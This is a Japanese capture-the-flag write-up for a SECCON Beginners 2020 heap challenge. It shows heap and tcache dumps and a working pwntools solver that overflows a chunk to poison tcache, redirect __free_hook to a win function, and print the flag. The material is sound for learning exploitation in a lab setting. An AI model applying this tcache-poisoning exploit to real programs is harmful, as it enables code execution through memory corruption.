- Source: Seccon Beginners CTF 2020
- Author: ptr-yudai
配布ファイルはない。接続するとインターフェースが表示される。win関数を呼び出せば良いらしい。
$ nc localhost 9002
Let's learn heap overflow today
You have a chunk which is vulnerable to Heap Overflow (chunk A)
A = malloc(0x18);
Also you can allocate and free a chunk which doesn't have overflow (chunk B)
You have the following important information:
<__free_hook>: 0x7f35616e68e8
<win>: 0x562194c01465
Call <win> function and you'll get the flag.
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
>
A,Bへの書き込みとBのfreeが可能。また、現在のheapとtcacheの状態を確認できる。ヒントまで教えてくれるらしい。すごい。
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
[+] A = 0x5621c6c8b330
[+] B = (nil)
+--------------------+
0x00005621c6c8b320 | 0x0000000000000000 |
+--------------------+
0x00005621c6c8b328 | 0x0000000000000021 |
+--------------------+
0x00005621c6c8b330 | 0x0000000000000a61 | <-- A
+--------------------+
0x00005621c6c8b338 | 0x0000000000000000 |
+--------------------+
0x00005621c6c8b340 | 0x0000000000000000 |
+--------------------+
0x00005621c6c8b348 | 0x0000000000020cc1 |
+--------------------+
0x00005621c6c8b350 | 0x0000000000000000 |
+--------------------+
0x00005621c6c8b358 | 0x0000000000000000 |
+--------------------+
0x00005621c6c8b360 | 0x0000000000000000 |
+--------------------+
0x00005621c6c8b368 | 0x0000000000000000 |
+--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Aへの書き込みではサイズ0x18のメモリを確保しているが、サイズ0x80の書き込みが可能なので自明なheap overflowがある。これを用いてwin関数を呼び出したい。
BへAAAAAAAA
を書き込んだ後のheapの状態はこうなっている。
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
[+] A = 0x5606d2447330
[+] B = 0x5606d2447350
+--------------------+
0x00005606d2447320 | 0x0000000000000000 |
+--------------------+
0x00005606d2447328 | 0x0000000000000021 |
+--------------------+
0x00005606d2447330 | 0x0000000000000000 | <-- A
+--------------------+
0x00005606d2447338 | 0x0000000000000000 |
+--------------------+
0x00005606d2447340 | 0x0000000000000000 |
+--------------------+
0x00005606d2447348 | 0x0000000000000021 |
+--------------------+
0x00005606d2447350 | 0x4141414141414141 | <-- B
+--------------------+
0x00005606d2447358 | 0x000000000000000a |
+--------------------+
0x00005606d2447360 | 0x0000000000000000 |
+--------------------+
0x00005606d2447368 | 0x0000000000020ca1 |
+--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Bの直前の値が0x21
に、0x00005606d2447368
の値が0x20ca1
に変化している。続いてBをfreeしてみる。この0x21
はヒープのチャンクサイズを表している。
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
[+] A = 0x5606d2447330
[+] B = (nil)
+--------------------+
0x00005606d2447320 | 0x0000000000000000 |
+--------------------+
0x00005606d2447328 | 0x0000000000000021 |
+--------------------+
0x00005606d2447330 | 0x0000000000000000 | <-- A
+--------------------+
0x00005606d2447338 | 0x0000000000000000 |
+--------------------+
0x00005606d2447340 | 0x0000000000000000 |
+--------------------+
0x00005606d2447348 | 0x0000000000000021 |
+--------------------+
0x00005606d2447350 | 0x0000000000000000 |
+--------------------+
0x00005606d2447358 | 0x00005606d2447010 |
+--------------------+
0x00005606d2447360 | 0x0000000000000000 |
+--------------------+
0x00005606d2447368 | 0x0000000000020ca1 |
+--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
最初の状態に戻っておらず、0x00005606d2447358
に何か保存されている。ここでtcacheを見てみる。
-=-=-=-=-= TCACHE -=-=-=-=-=
[ tcache (for 0x20) ]
||
\/
[ 0x000055def00b7350(rw-) ]
||
\/
[ END OF TCACHE ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
0x00005606d2447358
へ繋がっている。tcacheはfree listの一部(他にfastbinやunsorted binというものもあるが、mallocで一番最初に呼ばれるのはこのtcache binになる)で、一度freeしたチャンクの情報をキャッシュしているらしい。このあたりはあまり理解できていないがこのサイトが詳しかった。
tcacheをheap overflowを用いて__free_hook
のアドレスに書き換えてみる。__free_hook
はhooksの一つで、freeした時に呼び出される。
一旦ここまでのscriptを書く。
from pwn import *
context.log_level = "debug"
p = remote("localhost", 9002)
p.recvuntil("<__free_hook>: ")
free_hook = int(p.recvline().strip(), 16)
p.recvuntil("<win>: ")
win = int(p.recvline().strip(), 16)
# malloc and free
p.sendlineafter(">", "2")
p.sendline(b"A"*8)
p.sendlineafter(">", "3")
# heap overflow
p.sendlineafter(">", "1")
p.sendline(b"A"*0x18 + p64(0x28) + p64(free_hook))
p.sendlineafter(">", "5")
print(p.recvall())
単純にAをoverflowさせるとBのチャンクサイズも壊れてしまうため、ヒントを見ながら良さげな値に調整する。0x28にするとIt seems __free_hook is successfully linked to tcache!\nAnd the chunk size is properly forged!\n
と言われた。
さて、この時点でtcacheの値はこうなっている。実行の度にアドレスの正確な値は変わるが、さっきのtcacheの末端に相当する0x000055dc296dd350
を上書きしたことで、tcacheが__free_hook
を示す0x00007fe507f5a8e8
へ繋がっている。
b'-=-=-=-=-= TCACHE -=-=-=-=-=\n'
b'[ tcache (for 0x20) ]\n'
b' ||\n'
b' \\/\n'
b'[ 0x000055dc296dd350(rw-) ]\n'
b' ||\n'
b' \\/\n'
b'[ 0x00007fe507f5a8e8(rw-) ]\n'
b' ||\n'
b' \\/\n'
b'[ END OF TCACHE ]\n'
b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n'
この状態で再度Bをmalloc、freeするとtcacheから1つpopし、tcacheの先頭は__free_hook
になる…と思ったが、free(): invalid size
と言われてしまった。Bの上書きしたチャンクサイズを0x28から0x30に変えてみる。
tcacheの先頭に__free_hook
がいる。
b'-=-=-=-=-= TCACHE -=-=-=-=-=\n'
b'[ tcache (for 0x20) ]\n'
b' ||\n'
b' \\/\n'
b'[ 0x00007f77934308e8(rw-) ]\n'
b' ||\n'
b' \\/\n'
b'[ END OF TCACHE ]\n'
b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n'
これで次にfreeした時に__free_hook
が呼び出される。ここでB(実際は__free_hook
の指し示す先)へwin関数のアドレスを書き込んでfreeするとwin関数が呼び出される。
最終的なsolverはこうなる。
from pwn import *
context.log_level = "debug"
p = remote("localhost", 9002)
p.recvuntil("<__free_hook>: ")
free_hook = int(p.recvline().strip(), 16)
p.recvuntil("<win>: ")
win = int(p.recvline().strip(), 16)
# malloc and free
p.sendlineafter(">", "2")
p.sendline(b"A"*8)
p.sendlineafter(">", "3")
# heap overflow
p.sendlineafter(">", "1")
p.sendline(b"A"*0x18 + p64(0x30) + p64(free_hook))
# malloc and free
p.sendlineafter(">", "2")
p.sendline(b"A"*8)
p.sendlineafter(">", "3")
# call win
p.sendlineafter(">", "2")
p.sendline(p64(win))
p.sendlineafter(">", "3")
# print flag
p.recvuntil(">")
print(p.recvall())
flagが得られた。
ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}